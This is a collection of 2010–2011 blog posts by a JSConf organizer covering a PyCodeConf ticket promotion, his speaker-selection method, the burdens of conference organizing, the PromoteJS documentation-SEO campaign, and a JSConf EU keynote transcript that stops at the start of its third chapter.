**tl; dr:** Magic in Miami, a limited number of **[tickets for PyCodeConf are available for you at $300/each](http://eventrainbow.com/github/pycodeconf/?promo=JSCONF&ref=voodootikigod.com)**. Don’t forget to pick up your [hotel rooms at $179/night](https://gc.synxis.com/rez.aspx?Hotel=26735&Chain=10179&arrive=10/5/2011&depart=10/8/2011&adult=1&child=0&group=16600101113&ref=voodootikigod.com). Hooray.
When I first saw that GitHub was producing their [own conference series](http://www.codeconf.com/?ref=voodootikigod.com), I was quite stoked. GitHub has easily become a great asset for conference organizers both in terms of advertising visibility and their willingness to sponsor conferences of every ilk in almost every programming language. They support the community at a deep level both in their drive to turn coding into a social activity (through various GitHub meetups) and their funding of people with crazy ideas (aka conference organizers). I have always thought highly of the team at GitHub and so when I heard they were entering the conference space, I will admit I was both giddy and concerned.
The concern comes from the obvious overlap between the CodeConf events and JSConf events in terms of nature, style, and love of community. They are willing to showcase some arguably risky presentations and provide the critical social event backbone that makes conferences a success. In crafting JSConf, Laura and I stumbled into a lot of the decisions that made the conference what it became - CodeConf evolved from GitHub’s experience both as attendees, sponsors, and speakers at various events of all types. It is because of this that I actually turned my concern into a desire to help CodeConf grow by lending as much of a hand as I could. We need more events driven by passionate groups of people who have experienced all sides of the conference world. Speaking at most conferences sucks, sponsoring most conferences sucks, and attending most conferences – well that is hit or miss depending on your expectations.
I have helped GitHub organize their latest conference, focused on the Python community. Our experience of organizing a conference in a very well established community like Python has been quite interesting. The Python community is a very proud group and rightfully so, their community has been tended quite well by the Python Software Foundation (PSF) and a benevolent dictator. Our creation of a [conference about Python](http://py.codeconf.com/?ref=voodootikigod.com) is by no means an attempt to undo or insult these groups, but to add a new voice to the chorus. We have selected an amazing [batch of speakers](http://py.codeconf.com/?ref=voodootikigod.com#speakers) representing the aspects of Python that make it great; including, but not limited to, the PSF, PyLadies Advocacy, SciPy, Django, Microframeworks, and PyPy (and a little JS for good measure). We did this to bring together a nice cross cut of the broad Python community into a single event and allow you to get the full breadth in two jam packed days. To go along with this, we are putting together a line up of social events that will rival JSConf starting with an opening party on Wednesday night October 5th and ending the evening of Friday, October 7th.
I believe deeply in the benefit of organic conferences driven by love for the communities that they represent. I have to otherwise I wouldn’t continue doing what I do with JSConf. I would love for all communities to experience the magic of sharing drinks with “the best and brightest” on a completely level playing field. It is the anti-thesis of elitism, if anything it is a deliberate breakdown of such things. PyCon and other PSF events do this as well, PyCodeConf is just an attempt at a different take on the concept. Both can and should co-exist happily. Part of the reason for choosing Python is that it seemed well suited for the type of environment we are working towards BECAUSE of PyCon, not in spite of it. That is why I am doing something that is absolutely crazy. I am, as a representative of JSConf, sponsoring PyCodeConf.
Most sponsorships mean that the organization gets money to create a better event and I have discussed this over with the GitHub team that the best way to do this is to get even more people there. So we are sponsoring to obtain a bigger space AND… Get ready for it…
**[OFFER TICKETS AT HALF THE REGULAR PRICE](http://eventrainbow.com/github/pycodeconf/?promo=JSCONF&ref=voodootikigod.com)**
This price reduction is only available as part of our sponsorship and as such there are only a few tickets available at the lower price (sorry I am not made of money). The offer is only open until September 9th or we reach the number of tickets covered by the sponsorship. If you already have a ticket, you rock, but unfortunately we cannot do a refund to the lower price (buy one for a friend/co-worker!). If you have been on the fence about attending PyCodeConf, consider this a big push. We want this conference series to grow and we want you to be a part of it, now is your chance. If you don’t program in Python, please pass this on to someone you know who does. If you are taking advantage of this, be sure to [pick up your hotel rooms](https://gc.synxis.com/rez.aspx?Hotel=26735&Chain=10179&arrive=10/5/2011&depart=10/8/2011&adult=1&child=0&group=16600101113&ref=voodootikigod.com) while the block is still open until September 9th.
Organic Technical Conferences FTW. Hooray!
---
# How I Pick Speakers for JSConf
Published: 2011-03-09T12:00:00.000-05:00
Updated: 2013-12-15T21:27:55.000-05:00
Source: https://www.voodootikigod.com/how-i-pick-speakers-for-jsconf
> One of the main appeals of JSConf for the past two years running is the level and quality of presentations that are displayed by our speakers. Given that we are right in the middle of announcing our speaking roster for JSConf US 2011, I felt it would be a good idea to provide some insight as to how...
One of the main appeals of JSConf for the past two years running is the level and quality of presentations that are displayed by our speakers. Given that we are right in the middle of announcing our speaking roster for JSConf US 2011, I felt it would be a good idea to provide some insight as to how we select speakers and thus how we are able to curate a conference that seems to always be at the forefront of technology, not at the mid point. My hope is that you take this knowledge and apply it in conferences and events that you might curate AND demand better from other conferences. I don’t know about you, but I am quite tired of seeing the same set of speakers presenting the same set of topics over and over and over again. The current process of having “elite” or “must-have” speakers only creates an elitist and “good-ole-boy” community, both of which are complete crap and we should actively try to tear down, not build up or perpetuate.
**Motive**
First I want to start out by describing my intentions for JSConf. I believe any conference at the national or international level has a responsibility to its attendees and its following community at large to present the next generation of things. I believe that conferences are not a platform for repeating what has already been said, but a launchpad for announcing what is new, different, and amazing. When a conference costs more than $500 per attendee, I, as an attendee, demand to see stuff that I cannot see on the internet for free. This is in part why conference attendance is down for most events, but consistently (and crazily) sold out for JSConf and JSConf-like events - its new content that I can’t get elsewhere regardless of the cost. Think about it from a business perspective, would you pay $1200.00 (plus airfare and hotel) for your employees to go and see presentations that clearly blip.tv, vimeo, or youtube has for free? On top of that, most people attend these events for the “hallconf”, which is little more than job interviews by sponsors who are trying to pick up the talent, your talent that you just paid $1200 to $2000 to send. Of course you wouldn’t, but you would probably pay twice as much for your employees to WANT to be in the presentations BECAUSE it will make them ahead of the curve, thus not being “picked up” and even better coming back jazzed that they work at a company that is at the forefront of the world. That, that feeling, is what we target for JSConf.
This is one of the biggest driving forces for how I structured JSConf and specifically speaker selection. I have been both a company owner and an employee so I have seen both sides of the coin. When we pick speakers for each JSConf event, I am evaluating each one almost with a strong multiple personality disorder, where I am viewing it as:
- a business owner in that would I send my people in order to get a competitive advantage by having my employees at the lead of technology.
- an attendee and would I feel that I have to see this, like if I miss this talk would my life be over.
- a sponsor from the perspective of will this bring out the best people, and thus make it the event to sponsor and more important, the event that we have to be a part of.
As you can see, the target for each one is creating something that is “have to see” and most importantly “can’t find elsewhere”. This means breaking the general expectation or model of how speakers are selected. Most conferences do selections based on sure-wins or safe bets, they pick presentations that they can see beforehand in order to ensure that it and the conference is good. Note, I said good - not great. Most conferences also pick speakers that they know personally and are friends with and perpetuates the previously described elitist society. Both of these suck and make for a par but rapid approaching sub-par speaker roster. Why do they suck, if you look at it the previously described contexts, you can clearly see that talks selected like this are clearly missing the mark.
**The Process**
It is easy to pick a part others, but it is harder and better to provide answers. So here you go. To select JSConf speakers, I first make a list of all titles, descriptions and UUIDs, but specifically excluding names and contact information. I go through each of these proposals and categorize them into one of a handful of pre-determined groups. For JSConf I use the following:
- Mobile - anything relating to small device (phone/tablet) development, design, testing, etc. If it moves, it goes in here.
- Nerdcore - anything that is complete and total mindsex in terms of philosophy, theory, coding practice, etc.
- WTF - anything that is complete insanity and most likely vaporware OR bullshit or some combination there of.
- Infrastructure - all things related to infrasctructure elements (networking, SCM, tools, etc).
- Data - all things related to data transport, storage, and querying.
- Library - anything related to client side javascript libraries (jQuery, dojo, Moo, Prototype, etc.)
- UX/UI - all items related to the visual side of life.
- Other - every year there is something insane that is not categorizable above.
Once all of the talks are categorized, I evaluate each group and rank them based on the merit of their title and description. I do this for many reasons. First, the topic needs to be compelling enough to steal my heart and mind if it isn’t no “celebrity power” will help that. I don’t care who the speaker is. Second, by doing it via groups and ranked within the group, I ensure balanced content at the conference because I am pulling the same number from each group and the top of each group. Finally, and this is my most important point, I AM SELECTING FAIRLY. I am not picking talks because they are friends or because I have to hit a minimum quota of gender or race, or any other hairbrained reason. I am picking talks solely and completely on their merit and importance OF THEIR TALK. The reason I am harping on this point is that many people believe that the way to increase gender and racial diversity at a conference is to tokenize the speakers. To have a token female speaker just to say “we have a female speaker”. Worse I see people blackmailing conferences about this point BEFORE A SINGLE SPEAKER IS ANNOUNCED. Hell, it happened to JSConf (US 2010). That is not gender and racial equality - it is bullshit. TALKS SHOULD BE SELECTED BASED ON THE TOPIC NOT THE SPEAKER. PERIOD. Increasing gender and racial diversity needs to start by increasing the number of speaking proposals coming from those groups, not by selection committees force-adding them. This is a very strong stand on a very touchy subject, but it has to be made and I will not budge on it. I have been very happy to see more and more gender and racially diverse submissions in JSConf and that shows up through our resulting selection.
Once talks are categorized and ranked, I look at the names of the speakers. If they have spoken on the same or similar topic at any other conference they are docked half a point. If they have been making the rounds of pimping their topic (podcasts, interviews, etc) they are docked half a point. If they are friends or colleagues of mine, they are docked half a point. If they are a “celebrity” they are docked half a point. As you can see from this ranking, it actually hurts you to be closer to JSConf if you want to speak. Doesn’t mean its impossible, but makes it very hard. [Brian Leroux](http://westcoastlogic.com/?ref=voodootikigod.com) is one of the greatest people I have had the pleasure of meeting through JSConf, he is also one of the most unfortunate. I invited him to speak at the first JSConf based off these exact same metrics. [His talk was absolutely epic](http://jsconf.us/2009/leroux_video.html?ref=voodootikigod.com), it was the perfect balance of professional unprofessionalism. He went on to present at almost every conference there after even to this day his line up of conferences rivals that of Doug Crockford. At JSConf 2009, he and phonegap were known to a small set of people and his presentation was killer because of that fact. The unfortunate side is that because his talk was so awesome, it became a hinderance from having him speak again. Honestly I would love to have Brian present, he is the right type of crazy for JSConf, but for reasons listed above, it is very hard to do so. Hopefully Brian doesn’t hate me too much for this, but I think he understands because (luckily for the conference) he keeps coming back each year.
**The Downside of Being a JSConf Speaker**
One thing I do want to note, I will add a full point to the ranking of a talk if the item is something that is completely and totally insane. If there is realistically no chance in hell that this talk’s topic is actually accomplishable - I will add (positive) a full point. I do this because I want that kind of crazy (Brian’s kind) at the conference. I purposefully push myself to take the high-risk, high-reward topics that make people go “holy crap, my mind was just blown”. You can easily pick out the talks that have this point because they are generally the most memorable ones from the JSConf archives ([Ryan Dahl](http://jsconf.eu/2009/video_nodejs_by_ryan_dahl.html?ref=voodootikigod.com), [Brian Leroux](http://jsconf.blip.tv/file/2325755/?ref=voodootikigod.com), [Tobias Schnneider](http://blip.tv/file/3814985?ref=voodootikigod.com), [The Robotic JavaScript talk](http://jsconf.eu/2010/speaker/livingroombindmotion_function.html?ref=voodootikigod.com), etc.) They are high risk at the time we make selections (5-6 months prior to the conference), but they serve two sides, they strongly force the presenter to accomplish what they have laid out AND they give attendees a view of tomorrow, not of yesterday. This is a major difference between JSConf and JSConf-like events AND all other conferences. Conference organizers should take risks, safe bets are good for this year, horrible for next year.
**“My Talk”**
Once the rankings are settled, I take the top two from each category for my first round of selection. Nearly all first round options say yes, and we have our speakers for that year. Well almost complete. I always challenge myself to find one insane talk. Something that has no right being presented at JSConf, but yet for that reason becomes the most critical to have. I call this “my talk” because I get to pick it with wild abandonment. Last year, this was [Aaron Quint’s amazing bacon talk](http://jsconf.blip.tv/file/3834462/?ref=voodootikigod.com), which resulted in one of the best talks I have ever seen, anywhere. It set the tone for JSConf and gave people a lot to think about on many topics. To this day, when I pitch sponsorships, I lead with the bacon talk. I say this is the kind of talks we have at JSConf and this is why you must be part of this event. Most organizers wouldn’t do that, arguably it is suicide to have a talk like this at a “professional” conference. However, that is what brings people back year over year and also what causes the energy of JSConf to continually expand and accelerate.
**Conclusion**
There you have it, that is how I pick the speakers for JSConf, that is how we make it “OMGzAWESOME” each year. It is also why when speakers are announced a lot of the “established leaders” look at the list and scratch their heads. It really doesn’t and wouldn’t make sense, not before the talks. After the conference though it is very obvious especially as time goes on and the excitement and energy of the talk and how it “changed my life/view/world” spreads. I would ask that we stop blackmailing conferences into diversity and instead do our best to solve the problem where the problem lies. Hint, organizers aren’t saying “oh crap that’s a woman I can’t have her speak” when they review proposals and to even think like that, let alone tweet about it, that is just insane. If you want a more diverse speaking population, encourage what you want to see speak to put in proposals. It is that easy. Most people don’t even know they can, worse most people don’t even know that they should. You look at how we pick speakers and it is unfair for established speakers at the benefit of new speakers, perfect for making a more diverse speaking population. Finally, I would love to see others use this technique for speaker selection - we need crazier speakers but more importantly we need conferences that are showing us the future, not the past.
**P.S.**
A quick note about first time conferences, this article isn’t targeted to them. I actually encourage you in the first year to invite a “name” in order to essentially bootstrap your event with their “social capital”. We did it for JSConf (in full disclosure). This article is more targeted for established second, third, fourth year conferences.
---
# Hug a Conference Organizer: The Outcome
Published: 2011-03-03T12:00:00.000-05:00
Updated: 2013-12-15T21:29:17.000-05:00
Source: https://www.voodootikigod.com/hug-a-conference-organizer-the-outcome
> Note: Like many in this series, this has been written over many months - I have no idea what was in it when I finally hit publish. Sorry. There are many reasons to organize and run a conference, most of the “upfront reasons” are unfortunately bunk. I have experienced this on my own and corroborated...
**Note:** Like many in this series, this has been written over many months - I have no idea what was in it when I finally hit publish. Sorry.
There are many reasons to organize and run a conference, most of the “upfront reasons” are unfortunately bunk. I have experienced this on my own and corroborated with many conference and event organizers that I try to help out, here are a list of things that initially go through your head, depending on what else is going on in your life:
If I can pull this off, …
- I will have a lot higher visibility in the community!
- I can use the connections and marketing to help drive business to my consulting/product company!
- I will make a name for myself!
- I will be somebody important!
- I will make bring together people and all will be happy and right with the world!
- I can change the (world, community, or mindshare) for the better!
- I can do something amazing that will be self fulfilling.
I can tell you that pretty much everyone of those ends up not happening or quite to the contrary the opposite happens. I will admit that when I started [JSConf](http://jsconf.us/?ref=voodootikigod.com) and [NoSQL East](http://www.nosqleast.com/?ref=voodootikigod.com) I firmly believed every single one of those at some point in the journey. Worse still, I EVEN believed some of these during JSConf 2010, as if the first time around had not taught me anything. So I would like to share with you some of my experiences and thoughts on this matter, especially because going into an event planning with the right foresight is probably the best thing you can do have to prepare you for the “revisionist” hindsight you will undoubtable experience after your event.
Let’s start with the obvious issue, the desire or feeling of wanting to do something that someone else thinks is amazing. Beyond basic instincts (food, water, sex, etc.), human psyche is driven by a burning desire for recognition - it is an annoying facet of life we all deal with and the more you might possibly have, the more you desire it. That just sucks. Worse for the conference organizer is that you are pulling together huge names, massive fame, and organizing amazing things - so your inclination is for that fame limelight to be shed on you. It is nature, there is little you can do about it. Most technical people will attempt to rationalize this desire into a convincing argument that “If I can bring people together for this event, I can figure out a way to benefit”. Right, it is obvious, it is how advertising works.
Step 1. Draw the audience.
Step 2. …
Step 3. Unicorns and Rainbows
But rounding the corner of organizing an event and receiving any degree of fulfillment from said event is, at least in my experience, one of the hardest accomplishments. Ever. Why is it so hard? Well simply put, it is because you are afraid of failing, of essentially throwing a party no one shows up to and so you make it the best damn party. In part it is due to the premature adoption that a conference organizer has with their event, in part it is the desire to make the best damn event ever - either way you are inclined to invest (time, effort, energy, hopes, dreams) way above and beyond what the event itself can ever return. In part, thats the passion of the event that shines through to attendees and makes them happy to have attendeed, but it has a dark side.
After every single conference I have thrown I tell myself “I will never ever do this again, fuck that.” It is a large amount of work from gathering (and herding) speakers, gathering (and also herding) sponsors, and finally herding attendees - it’s insane. Add to the mix vendors who drastically overcharge and then still proceed to nickel and dime you and it is enough to put anyone into an early grave. But this article is not about complaining it is about outcome. There is an inherent problem with conference organizers, they start the journey without knowing the end. Some (/me raises hand) become addicted to the adrenaline rush of actually pulling it off, some forgo the risk and take the profits, still others leverage the conference as a means to catapult themselves into the limelight. I personally have thrashed internally as to why I do JSConf. I hold back and even downplay my own personal efforts with the conference because I think it is what the community needs/deserves, which generally speaking goes according to plan - BUT that means no one notices. Ask any JS person who the top movers and shakers are and I highly doubt I would even be thought of let alone mentioned. Reason why? Simple I make it a point to be more behind the scenes and thus even though I am basically spotlighting the next year of JS (And other language conferences talks) the speakers take the “limelight”, deservedly. My personal ego thrashes constantly about this. I am human after all. My reason tells me it is pretty pointless, we spend all the money making an event memorable and yet I am purposefully circumventing that. WTF. It is just eventuallity and I do tell myself it is for the best in the long term.
What has becoming increasingly worse is the haters who jump all over “risky” items. We make JSConf a place for experimentation and while it is good to see conferences leverage those experiements (I love txjs) it is also tough to see others plunder it out right. Whether it be groups of people looking at JSConf saying.. there is something there, lets figure out how we can “extend” it, all without even emailing me OR bigger more established conferences taking our speakers, event ideas, or even themes and repurposing them. I get that this is a competitive market - I really do - and that I don’t have a trademark on awesome (I tried) but seriously it sucks goat testicles and it is just an eventual outcome of doing something different. You incur the risk, others take it to market cheaper after you’ve proven it. What was very nice the first year of JSConf, which most people completely gloss over is the “OMG THIS WAS THE BEST EVER” articles. I have watched year after year and event after event as those amazingly long and beautiful articles have disappeared. Replaced by “jsconf was great” tweets, which as you can probably guess are nice, but in no way fulfilling. You want to make a conference organizer happy? WRITE A LONG ASS BLOG POST ABOUT HOW THE EVENT WAS EVEN BETTER THAN SEX. That, as best I can tell, is the best and only gold of conference organization. Trust me, you have no idea how awesome it was the three weeks following JSConf 2009 reading those, it is what inspired me to do 2010.
In the end, I have resolved myself to the outcome for JSConf being a couple great parties I get to attend (at the cost of organizing) and a couple nights in an awesome hotel room. Thats why we pick swanky hotels for JSConf and throw awesome parties. JSConf (or any conference of substance) can’t sustain its organizers and thus they have to return to their 9-to-9s in order to pay the bills. And thus you have it, conferences like JSConf, FunConf, ShnitzelConf, TXJS, etc. are labors of love remember that next conference you attend and hug the hell out of the people organizing it. Especially if you can do it at the most awkward moment (closing speech is best).
Sorry for the dark look on the other side, but hell thats what this series is about. This isn’t meant as a “cry for me”, but more just a peek at the other side, please take it as such.
---
# On Snake Oil and Experts
Published: 2011-03-03T12:00:00.000-05:00
Updated: 2013-12-15T21:28:39.000-05:00
Source: https://www.voodootikigod.com/on-snake-oil-and-experts
> I just announced promotejs.com [http://promotejs.com/], which as described in my talk at the epic JSConf.eu [http://jsconf.eu/2010/] is the following: > Through pirate techniques and guerrilla SEO we can change how search engines present answers to common queries about our language. By driving traf...
I just announced [promotejs.com](http://promotejs.com/?ref=voodootikigod.com), which as described in my talk at the epic [JSConf.eu](http://jsconf.eu/2010/?ref=voodootikigod.com) is the following:
> Through pirate techniques and guerrilla SEO we can change how search engines present answers to common queries about our language. By driving traffic to the proper documentation, we can change search rankings and ensure that people interested in [JS](https://developer.mozilla.org/en/JavaScript/Reference?ref=voodootikigod.com) are connected with the proper educational resources. First target for promotejs, unseat w3schools.com for standard new JS developer queries with proper MDN documentation.
Also please note that this was in the context of improving the experience for new entrants and those continuing their education of the [JavaScript](https://developer.mozilla.org/en/javascript?ref=voodootikigod.com) language. When you boil down the mission statement of promotejs and the talk in general was this very simple point:
> It is up to the experienced developers to point out the proper documentation for the inexperienced.
Of course the first group to get excited by this, and properly so, where the developers who followed developers that were in attendance of JSConf.EU. Unfortunately by the time we had reached the afterparty the other side of the conversation had arrived. The so-called SEO Experts who, without full context, go off and explain how this is stupid and will not work. Awesome, there is nothing like hitting the hornets nest of a bunch of people that doubt everything. So lets put some facts around this discussion before we start [selling FUD in metric tons](http://jsconf.eu/2010/communityjs_by_chris_williams_1.html?ref=voodootikigod.com) ;) (note, when the JSConf EU video is released, that joke will make a lot more sense).
**1\. It has already worked**
The goal of PromoteJS is first and foremost to better the documentation visibility and by the sheer viral nature of PromoteJS with a backplane of Twitter and Facebook, it wasn’t long before most of the development community knew a couple things.
1. JavaScript documentation visibility is surprisingly horrible
2. There are proper documentation elements out there like the Mozilla Developer Network and such
3. A lot of people believe in better visibility
When I say “a lot” I am being humble, let me put it this way, immediately after the initial launch of promotejs.com, not more than three (3) days time total - the site had over 4.5 million unique visitors and according to Google already had over 20,000 backlinks from people writing about promotejs.com on their site. So what does that mean? Well in simplest terms, this is obviously an issue that needed discussion and a rallying call mind you that even if no one put the badge on their site and backlinked the hell out of PromoteJS, thus giving a substantial amount of authority, we still win. Why? Well the first and highest quality link on the site not going back to google is to the top level Mozilla Developer Network site for JavaScript, as well as the second link, oh and the third link. So any discussion about the success or failure has to account for this before continuing anywhere else, a major factor that all the so called “SEO Experts” have not yet addressed.
**2\. Haters gonna hate**
This is no more certain than the backlash against PromoteJS where as best I can see a total of 2 blog posts were generated by “experts”. Posts which mind you are providing highly organic back links to both PromoteJS AND the MDN site, links without the rel=”nofollow” or rel=”noindex” attributes. So let me start by saying thank you! Most of what I have read in these articles skips the main thrust of the #promotejs and that is getting people to link to proper documentation, to start discussing it, and to build better community awareness about the problem. In essence, the gist of their arguments are similar to mine - link in your articles it has greater weight than any single link or button ever will. That was a core fundamental of the educational component of the talk, #promotejs is just a way of getting people talking about it.
As for the “keyword stuffing” claims, I would contend that they just don’t get it. People do not search of “JavaScript”, but for specific items like “JavaScript Array Length” or “JS array.length” in order to find the specific target, the alt tag and name tag were crafted based on the actual searches done by actual people actually learning and using the language. Also bear in mind that the whole page and its context, its content, and its backlinkage are taken into account to determine the likelihood of a link being a link farm. So yes, if we had put it on a thousand one of sites each of which with little to no google page rank, I would agree, BUT THATS NOT THE POINT. These are going on high page rank, high value, high content sites that have lengthy histories. If anything this working with google’s algorithm, not against. It is people saying I believe this is the best documentation (for now) and if you want to know about JavaScript, like I write about it then go here.
**3\. I repeat, it is working!**
We built a site to track our progress within the google page ranking across all key terms called [Are We First Yet](http://arewefirstyet.com/?ref=voodootikigod.com). The site stopped working on March 1, 2011 due to API changes that google made (deprecated the API we were using). What it does show us is that from launch to March 1, we took almost all terms and got them two the first two page results - most above the fold on the first page. We can do even better and we are doing better. I actually wrote this article 3 days after launch, we all the SEO experts were clammering about how this is a [flawed](http://kenneth.kufluk.com/blog/2011/02/why-i-dont-promote-js/?ref=voodootikigod.com) or [failed](http://www.wait-till-i.com/2010/09/26/promote-better-javascript-documentation-with-promotejs/?ref=voodootikigod.com#comment-81015342) [effort](http://kenneth.kufluk.com/blog/2011/02/why-i-dont-promote-js/?ref=voodootikigod.com) and how its essentially going to do [more damage than good](http://www.ask-kalena.com/seo/promote-js-a-noble-cause-ruined-by-dodgy-implementation/?ref=voodootikigod.com). I ask you now, 5 months later, where are these “experts” with the big bowls of claim chowder? I can promise you this they aren’t on the first page of a common Google search, like umm… [Learn JS](http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=learn+js&ref=voodootikigod.com) which went from position 54 to link 3 or [JS](https://developer.mozilla.org/en/JavaScript/Guide?ref=voodootikigod.com) which went from 254 to link 68.
The thing I love most about SEO is that expertise is complete BS. Google changes their algorithm regularly in order to actually teardown the SEO experts and ensure that community determined proper content is placed above otherwise content. The goal of PromoteJS is, agreeably not to create a link farm, but to get us, JS developers, to start linking and start fixing the problems within our community. To take a stand and do instead of sitting and complaining.
# jsconfeu ftw
---
# PromoteJS, Sustainability in Computer Science, and Deep Honesty - JSConf EU 2010 Keynote
Published: 2010-10-12T11:00:00.000-04:00
Updated: 2013-12-15T21:31:16.000-05:00
Source: https://www.voodootikigod.com/jsconf-eu-2010-speech
> This talk was presented at JSConf EU 2010 [http://jsconf.eu/2010], video is provided, but please also read the transcript. -------------------------------------------------------------------------------- We are an interesting lot when you look at the community as a whole. We are a rag tag group o...
This talk was presented at [JSConf EU 2010](http://jsconf.eu/2010?ref=voodootikigod.com), video is provided, but please also read the transcript.
* * *
We are an interesting lot when you look at the community as a whole. We are a rag tag group of designers, developers, noobs, and elites. We have a sordid history as one of the greatest technological wars played out across our land and left us in a wasteland of stagnation. The big vendors have looted and plundered our community and we survived it, only to come out stronger and better. Many of our original heroes have been lost to legend, or worse they have been scorned by the dragons they sought to slay. We have seen new leaders rise with vigor and innovation not often seen in other programming communities. We are a community of rejuvenation, of rebuilding, of finding problems and fixing them. We are a community of developers who prefer JS, but use a variety of other languages and tools to accomplish tasks. We are at the point of a renaissance of interest, excitement, and energy and yet I worry. I fear as the drums of war start pounding between browser vendors and the rising tide of interest moves back to JS, what will it do to our community. Will we have built something sustainable or merely yet another flash in the pan technology cult? The new generation of JS, you, me, all of us here, will we learn from our past or are we destined to repeat it in all the wrong ways? Let us not just begin a discussion today, let us trigger action and inspire change! Sustainability should be the most important goal for the technology community at large, and yet no one discusses it. Tonight, we will do more than discuss.
**Chapter 1: Education**
JS is not a toy language, we believe that otherwise we would not be here. That reality is just now reaching the masses and their first impression of JS is absolutely abysmal. How many of you know what shows up when you search for ”[JavaScript](http://www.google.com/search?client=safari&rls=en&q=JavaScript&ie=UTF-8&oe=UTF-8&ref=voodootikigod.com)”? Look at the links that show up, wikipedia? w3schools? Download Java? Maybe you are saying to yourself that “JavaScript” is too broad a topic and no one in their right mind would search by name for the language that they are trying to learn. Well, lets see, ”[JavaScript Array](http://www.google.com/search?client=safari&rls=en&q=JavaScript+Array&ie=UTF-8&oe=UTF-8&ref=voodootikigod.com)”. The first “quality” link on this page was the [MDC documents](https://developer.mozilla.org/en/JavaScript?ref=voodootikigod.com), link 8 - non-existent. If you want me to take it a step further let’s use an actual query for a first time person, google ”[Learn JavaScript](http://www.google.com/search?client=safari&rls=en&q=Learn+JavaScript&ie=UTF-8&oe=UTF-8&ref=voodootikigod.com)”. The first link that actually presents proper JS is [John Resig’](http://ejohn.org/apps/learn/?ref=voodootikigod.com)s at position 8 AND its designed for advanced techniques - the stuff in there would blow the minds right out of anyone just starting out.
This is the first impression of JS by the general masses who are coming to this language and once you see this, you can see why people consider it a “toy language” and understand how so much bad code and disdain can exist for JS. We have hidden the better tutorials, learnings, and documentations away from ourselves AND more to the point, those trying to join the party. New entrants struggle to learn JS, but eventually just adopt what they know from PHP, Java, Perl, Python and Ruby to a close approximation of runnable code that suffices. Then they publish it back out, proud of what they have done, and continue to perpetuate this plague of improper JS coding.
We have failed our fellow designers AND developers in this sense. We have made it almost impossible to learn proper JS, a language with both beauty and warts. Some will say it is not our fault, that browser vendors should provide the API documentation for the implementation or that the standards committee should publish and market it. I am calling bullshit on that. I say that it is up to us to invite, welcome, and most importantly properly educate people looking to learn JS. We, the best and brightest of the field, have an obligation to help those who are trying to learn and understand the complexities of the language. We are the ones that benefit from it most, since those now entering the language will be either extending, morphing, or taking over the very projects we are just now starting. Regardless of library, framework, and even language – if everyone knows how to program proper JS a little better, we all win. Period.
So I challenge you to put down your library or framework preferences and write about some interesting facet about the JS language. Describe how you find the attributes on an object, what the difference between an object and an array is (and how to tell the two a part), anything and everything. If you seek fame and click traffic, write about the entry level stuff. If you seek respect and deep dialogs, write about the difference between implementations and convey the wisdom of when to favor one method over the other. If writing is too time consuming or your muse escapes you, I am announcing today a new campaign, [promotejs.com](http://promotejs.com/?ref=voodootikigod.com). The goal of PromoteJS is this, through pirate techniques and guerrilla SEO we can change how search engines present answers to common queries about our language. By driving traffic to the proper documentation, we can change search rankings and ensure that people interested in JS are connected with the proper educational resources. First target for promotejs, unseat w3schools.com for standard new JS developer queries with proper [MDN documentation](https://developer.mozilla.org/en/JavaScript?ref=voodootikigod.com). Yes I am saying that we crowd hack google.
We need to be the voice of education for our community. We need to promote the proper way of doing things, instead of just ignoring those that don’t “get it” or watering things down. We need to commit to educating our fellow developers on JS, the language, and in doing so it helps ALL of our frameworks, libraries, meetups, and conferences. promotejs.com is a step in that direction, but by no means the end of the story. The morale of this chapter is, ”**The more people that learn proper JS, the better the community will be**”.
**Chapter 2: Love The Pirate! Damn The Privateers!**
The technology field has changed tremendously over the last 20 years and unfortunately it has become focused almost entirely on profiteering and fame. We see companies running technology conferences for profit, selling FUD in metric fuck tons, and making zealots out of noobs. Conmen jump from one “hot tech” to the next in order to be the first to sell this week’s “new deal”. It started with Java and the marketing engine that pushed it into the limelight, shadowing all else, thrived in the .NET ecosphere, and came full circle to the “hackers” with the rise of Rails. The world of software development has seemed to shift from developing to better mankind to a slow, but strong bleeding of developers. This is not the way of sustainable craftsmanship within Computer Science. We must turn this trend back. We, the crowd gathered here and those watching from home, we, the interested, we… JSConf… have a responsibility to ourselves to turn this tide. We are the people who can identify the conmen, the bad actors, the manipulators and we are the ones that have to call them out. Yes, it won’t be pretty and yes they will fight, but fuck it - we are pirates.
From the beginning of JSConf, doing what matters versus doing what makes money has been a core fundamental to all of us involved. We are pirates, we believe deeply in the code that all ships rise with the rising tide and that equality for all makes for a proper ship. We have no problems addressing the issues in our community openly and calling for a change, we must rattle the sabers and shake out those that aren’t committed, and we need to do it now. because I fear to tell you - the establishment is at the door again, ready to make money off our work.
And thus I say, love the pirate, damn the privateers. Privateers for those who don’t know, were people that posed as pirates and would pillage other countries or pirate ships at the behest of a monarchy or government. They were little more than hired guns paid to discredit pirates and break up colonies. Pirates have a code, though it may differ from ship to ship, the general principles of honesty and good faith amongst one another was ever present - this was untrue for the privateers. We need to root out those amongst us who are not here for love and challenge, those that present themselves as great, but provide little to no example or reasoning as to how. Show what you have done and let others determine your value, anything else is privateering. Many people think I am someone important in JavaScript, but they have never once seen or used my code - trust me if they have, they certainly wouldn’t think that. We need to pull down the cult of personality that now permeates our world, it is only a device of the privateer. This is true for not just this band of pirates, but for all software developers out there. We must band together and bring sustainability and sanity back to our profession.
In this, I want to openly applaud Rebecca Murphey for challenging those who champion enterprise jQuery without offering solutions or a frank discussioon of the issues. I want to applaud Zed Shaw for speaking out quite vocally on this very issue in both small and large forums. Our profession needs more champions of character and less bullshit.
And so, I make this call to arms, “Love the Pirates, Damn the Privateers!” with the deepest of sincerity. Luckily, we are starting almost a new at this point. There is no more Ajax Experience, there are few, if any publisher-run conferences in JS. Right now, we have a developer driven development community. Think about that for a second, we have the power. We have a shipful of pirates and a wide open sea before us. Adhere to the code! ARRRRR!!
**Chapter 3. Sex, Lies, and Comparing Sizes**
